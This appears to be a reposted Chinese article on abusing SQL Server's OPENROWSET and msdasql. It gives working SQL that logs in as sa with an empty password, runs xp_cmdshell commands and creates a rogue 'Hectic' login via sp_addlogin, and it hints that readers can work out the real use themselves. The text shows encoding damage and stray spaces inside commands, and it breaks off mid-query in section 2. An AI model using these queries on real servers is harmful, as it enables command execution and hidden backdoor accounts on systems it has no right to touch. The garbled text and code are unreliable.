面我要談到一些Sqlserver新的Bug,雖然本人經(jīng)過長(zhǎng)時(shí)間的努力,當(dāng)然也有點(diǎn)幸運(yùn)的成分在內(nèi),才得以發(fā)現(xiàn),不敢一個(gè)人獨(dú)享,拿出來請(qǐng)大家鑒別。
1.關(guān)于Openrowset和Opendatasource
可能這個(gè)技巧早有人已經(jīng)會(huì)了,就是利用openrowset發(fā)送本地命令。通常我們的用法是(包括MSDN的列子)
select * from openrowset(‘sqloledb‘,‘myserver‘;‘sa‘;‘‘,‘select * from table‘)
可見(即使從字面意義上看)openrowset只是作為一個(gè)快捷的遠(yuǎn)程數(shù)據(jù)庫訪問,它必須跟在select后面,也就是說需要返回一個(gè)recordset 。
那么我們能不能利用它調(diào)用XP_cmdshell呢?答案是肯定的!
select * from openrowset(‘sqloledb‘,‘server‘;‘sa‘;‘‘,‘set fmtonly off
exec master.dbo.XP_cmdshel l ‘‘dir c:“‘‘‘)
必須加上setfmtonlyoff用來屏蔽默認(rèn)的只返回列信息的設(shè)置,這樣XP_cmdshell返回的output集合就會(huì)提交給前面的select顯示,如果采用默認(rèn)設(shè)置,會(huì)返回空集合導(dǎo)致select出錯(cuò),命令也就無法執(zhí)行了。
那么如果我們要調(diào)用sp_addlogin呢,他不會(huì)像XP_cmdshell返回任何集合的,我們就不能再依靠fmtonly設(shè)置了,可以如下操作:
select * from openrowset(‘sqloledb‘,‘server‘;‘sa‘;‘‘,‘select ‘‘OK!‘‘
exec master.dbo.sp_addlogin Hectic‘)
這樣,命令至少會(huì)返回select OK!‘的集合,你的機(jī)器商會(huì)顯示OK!,同時(shí)對(duì)方的數(shù)據(jù)庫內(nèi)也會(huì)增加一個(gè)Hectic的賬號(hào),也就是說,我們利用select ‘OK!‘的返回集合欺騙了本地的select請(qǐng)求,是命令能夠正常執(zhí)行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于這個(gè)方法真正的用處,大家慢慢想吧。
2.關(guān)于Msdasql兩次請(qǐng)求的問題
不知道大家有沒有試過用msdasql連接遠(yuǎn)程數(shù)據(jù)庫,當(dāng)然這個(gè)api必須是sqlserver的管理員才可以調(diào)用,那么
select * from openrowset(‘msdasql‘,‘driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn‘,‘s
elect * from table1 select * from table2‘)
轉(zhuǎn)帖于:軟件水平考試_考試吧